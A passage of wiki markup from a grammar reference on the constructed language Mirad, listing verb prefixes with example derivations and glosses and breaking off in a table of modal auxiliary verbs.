::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
